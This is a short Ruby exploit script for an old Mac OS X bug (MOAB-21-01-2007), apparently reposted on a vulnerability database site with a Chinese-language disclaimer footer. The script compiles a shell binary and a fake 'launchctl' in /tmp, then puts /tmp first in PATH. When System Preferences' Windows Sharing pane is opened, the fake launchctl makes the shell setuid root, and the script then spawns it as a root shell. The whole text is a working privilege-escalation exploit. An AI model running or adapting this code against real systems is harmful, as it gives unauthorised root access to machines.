#!/usr/bin/ruby # Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com> # Lance M. Havok <lmh [at] info-pull.com> # All pwnage reserved. # # "Exploit" for MOAB-21-01-2007: OS X, making root shells easier each day. # SHELL_WRAP = 'int main() { system("/bin/sh -i"); return 0; }' SHELL_PLANT = 'int main() { system("chown root: /tmp/shX; chmod 4755 /tmp/shX"); return 0; }' PREFS_BINPATH = '/Applications/System\ Preferences.app/Contents/MacOS/System\ Preferences' COMMAND_LINE = "echo '#{SHELL_WRAP}' > /tmp/t.c &&" + "cc -o /tmp/shX /tmp/t.c &&" + "echo '#{SHELL_PLANT}' > /tmp/t.c &&" + "cc -o /tmp/launchctl /tmp/t.c &&" + 'export PATH="/tmp/:$PATH" &&' + "#{PREFS_BINPATH} &" def escalate() system COMMAND_LINE puts "++ Click on Sharing and then click on Windows Sharing..." sleep 30 # make sure you have "time" system "/tmp/shX" end escalate()
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论